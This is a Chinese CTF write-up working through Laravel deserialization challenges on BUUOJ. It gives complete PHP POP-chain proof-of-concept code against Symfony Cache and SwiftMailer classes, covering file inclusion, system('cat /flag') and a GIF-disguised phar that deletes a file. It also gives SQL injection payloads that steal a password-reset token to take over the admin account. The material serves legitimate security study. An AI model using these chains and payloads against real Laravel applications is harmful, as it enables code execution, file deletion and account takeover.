Laravel反序列化学习

前言

​ 最近在刷buuoj发现了Laravel框架的题目,web菜鸡开始按照网上的方法开始学习挖掘pop链

0x 01 [CISCN2019 总决赛 Day1 Web4]Laravel1

  • 第一种pop链
  1. 题目打开给了提示,需要审计Laravel源码,找反序列化链

  1. 源代码拖入phpstrom,先全局搜索__destruct函数,找到这个类

进入TagAwareAdapter.php跟进魔术方法

跟进commit->跟进invalidateTags

在该类下ctrl+f搜一下$this->pool进行查看

可以看到$this->pool是可控的,但是需要实现AdapterInterface接口,那么如果我们找到某个类,它既实现了AdapterInterface这个接口,同时又有saveDeferred方法(或者没有而有__call方法),而且满足一定条件能文件读取或命令执行即可。

全局搜索saveDeferred方法,然后首先跟据有无AdapterInterface接口进行排除

发现在PhpArrayAdapter.php

跟进initialize方法,来到PhpArrayTrait类下

存在文件包含点,至此分析结束

  1. 构造poc,首先在PhpArrayAdapter类下的saveDeferred方法的入口参数item是实现了CacheItemInterface的,也就是item应该为实现了该接口的类的实例

在头文件的定义出发现使用use Symfony\Component\Cache\CacheItem;

构造如下

1
2
3
4
namespace Symfony\Component\Cache{
final class CacheItem{
}
}

令include下的文件为/flag

1
2
3
4
5
6
7
8
9
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
}

回到触发点,其中item为deferred这个数组的值,并且这里的item需要实现CacheItemInterface接口,也就是item为CacheItem类的实例,而pool就是phparrayadapter的实例

得到:

1
2
3
4
5
6
7
8
9
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('xxx' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}

组合在一起得

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
<?php
namespace Symfony\Component\Cache{
final class CacheItem{
}
}
namespace Symfony\Component\Cache\Adapter{
use Symfony\Component\Cache\CacheItem;
class PhpArrayAdapter{
private $file;
public function __construct()
{
$this->file = '/flag';
}
}
class TagAwareAdapter{
private $deferred = [];
private $pool;
public function __construct()
{
$this->deferred = array('xxx' => new CacheItem());
$this->pool = new PhpArrayAdapter();
}
}
$obj = new TagAwareAdapter();
echo urlencode(serialize($obj));
}
  • 第二种pop链:

进入ProxyAdapter.php中,跟进doSave方法

pop链图如下

poc如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?php
namespace Symfony\Component\Cache;
class CacheItem
{

protected $innerItem = 'cat /flag';

}

namespace Symfony\Component\Cache\Adapter;

class ProxyAdapter
{
private $setInnerItem = 'system';
}

class TagAwareAdapter
{
public $deferred = [];
public function __construct()
{
$this->pool = new ProxyAdapter();

}
}

$a = new TagAwareAdapter();
$a -> deferred = array('a' => new \Symfony\Component\Cache\CacheItem);
echo urlencode(serialize($a));

tips:

选中一个类文件,右键,选择diagrams->show diagrams,可以查看查看类的继承关系

参考资料:

https://blog.csdn.net/chasingin/article/details/104287956

0x 02 [护网杯 2018]easy_laravel

题目环境说明:buuoj 上的复现,和原版的题目不是完全一样。原题使用的是 nginx + mysql的配置 而 buuoj 上的是 apache + sqlite配置环境

  • 前置知识

composer

这是在 PHP5.3 以上的一个依赖管理工具。感觉和 docker 很像,docker-compose 根据 docker-compose.yml 中配置的服务和镜像,生成虚拟机。PHP 中的 composer 则是根据 composer.json 加载配置的 php package

配置更新源,Composer 镜像站

1
composer config -g repo.packagist composer https://mirrors.aliyun.com/composer/

升级

1
composer self-update 或者 composer update --lock

诊断命令

1
composer diagnose

清除缓存

1
composer clear

根据 composer.json 安装 php package

1
composer install

Laravel中间件(Middleware)

在Laravel中起着过滤进入应用的HTTP请求对象(Request)和完善离开应用的HTTP响应对象(Reponse)的作用, 而且可以通过应用多个中间件来层层过滤请求、逐步完善相应。

图片描述

  • 解题过程
  1. 打开后网页源码提示github上有源码。但是做题的时候源码已经没了,所以从题目环境中拖下来审计

首先查看数据库文件,database/factories/ModelFactory.php中记录User的信息,发现用户名和email已知,密码是随机生成且进过经过 bcrypt 处理的,注入出来是没办法解开

路由信息在routes/web.php中,对应的Controller在app/Http/Controllers/下对应的PHP文件。Upload和Flag只有admin用户可以访问。

  1. 不难发现在 App\Http\Controllers 中的 NoteController 存在注入

由于数据库是sqlite,所以不能使用#,根据数据表可以有五个字段,进行联合注入,查看回显位

1
admin' union select 1,2,3,4,5--

得到回显位是第二位,由于admin用户的密码进过bcrypt 处理的,注入出来是没办法解开,根据存在的password_resets尝试注入出admin用户重置的token

先发送重置邮件,生成token插入数据库中

然后进行SQL注入查询。payload如下:

1
admin'union select 1,token,3,4,5 from password_resets where email='admin@qvq.im';

然后访问 http://url/password/reset/token 即可重置密码

然后改密码即可登入管理员,但是flag下面是no flag

题目提示是blade过期的问题,根据资料发现Blade 是 laravel 提供的一个简单强大的模板引擎。它不像其他流行的 PHP 模板引擎那样限制你在视图中使用原生的 PHP 代码,事实上它就是把 Blade 视图编译成原生的 PHP 代码并缓存起来。缓存会在 Blade 视图改变时而改变,这意味着 Blade 并没有给你的应用添加编译的负担。

那下一目标就是把缓存的文件删除掉。

blade 缓存位置是 storage/framework/views apache 的默认目录是 /var/www/html/ 在一起就是 /var/www/html/storage/framework/views 结合上面的 sha1 就是 /var/www/html/storage/framework/views/73eb5933be1eb2293500f4a74b45284fd453f0bb.php

  1. 接来下是寻找pop链删除文件,这里发现composer.json中提供了大量组件,我们安装一下,然后全局搜索unlink()vendor/swiftmailer/swiftmailer/lib/classes/Swift/ByteStream/TemporaryFileByteStream.php中发现如下代码:

然后在 UploadController 中的 check() 函数中发现调用了 file_exists() 函数,并且两个参数都可控,可以触发phar反序列化

上传后的文件路径也可以得知

构造exp:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
<?php
class Swift_ByteStream_AbstractFilterableInputStream {
/**
* Write sequence.
*/
protected $sequence = 0;
/**
* StreamFilters.
*
* @var Swift_StreamFilter[]
*/
private $filters = [];
/**
* A buffer for writing.
*/
private $writeBuffer = '';
/**
* Bound streams.
*
* @var Swift_InputByteStream[]
*/
private $mirrors = [];
}
class Swift_ByteStream_FileByteStream extends Swift_ByteStream_AbstractFilterableInputStream {
/** The internal pointer offset */
private $_offset = 0;

/** The path to the file */
private $_path;

/** The mode this file is opened in for writing */
private $_mode;

/** A lazy-loaded resource handle for reading the file */
private $_reader;

/** A lazy-loaded resource handle for writing the file */
private $_writer;

/** If magic_quotes_runtime is on, this will be true */
private $_quotes = false;

/** If stream is seekable true/false, or null if not known */
private $_seekable = null;

/**
* Create a new FileByteStream for $path.
*
* @param string $path
* @param bool $writable if true
*/
public function __construct($path, $writable = false)
{
$this->_path = $path;
$this->_mode = $writable ? 'w+b' : 'rb';

if (function_exists('get_magic_quotes_runtime') && @get_magic_quotes_runtime() == 1) {
$this->_quotes = true;
}
}

/**
* Get the complete path to the file.
*
* @return string
*/
public function getPath()
{
return $this->_path;
}
}
class Swift_ByteStream_TemporaryFileByteStream extends Swift_ByteStream_FileByteStream {
public function __construct() {
$filePath = "/var/www/html/storage/framework/views/34e41df0934a75437873264cd28e2d835bc38772.php";
parent::__construct($filePath, true);
}
public function __destruct() {
if (file_exists($this->getPath())) {
@unlink($this->getPath());
}
}
}
$obj = new Swift_ByteStream_TemporaryFileByteStream();
$p = new Phar('./1.phar', 0);
$p->startBuffering();
$p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
$p->setMetadata($obj);
$p->addFromString('1.txt','text');
$p->stopBuffering();
rename('./1.phar', '1.gif');
?>

将生成的文件上传后,点击check抓包,添加path参数phar:///var/www/html/storage/app/public/1.gif

提交以后模板文件就会被删除,我们访问/flag就会出现刷新以后的页面,即flag了

另外我在先知上看到有一个pop链可以rce,https://xz.aliyun.com/t/2901,有时间补一下,先占个坑

参考资料:

https://www.cnblogs.com/peri0d/p/12512343.html

https://tiaonmmn.github.io/2019/09/04/BUUOJ%E5%88%B7%E9%A2%98-Web-easy-laravel/#more

https://www.anquanke.com/post/id/161849#h3-4

0x 03 [CISCN2019 总决赛 Day2 Web2]Laravel File Manager

参考:https://blog.szfszf.top/article/39/#getshell-or-blade 以后慢慢填坑QAQ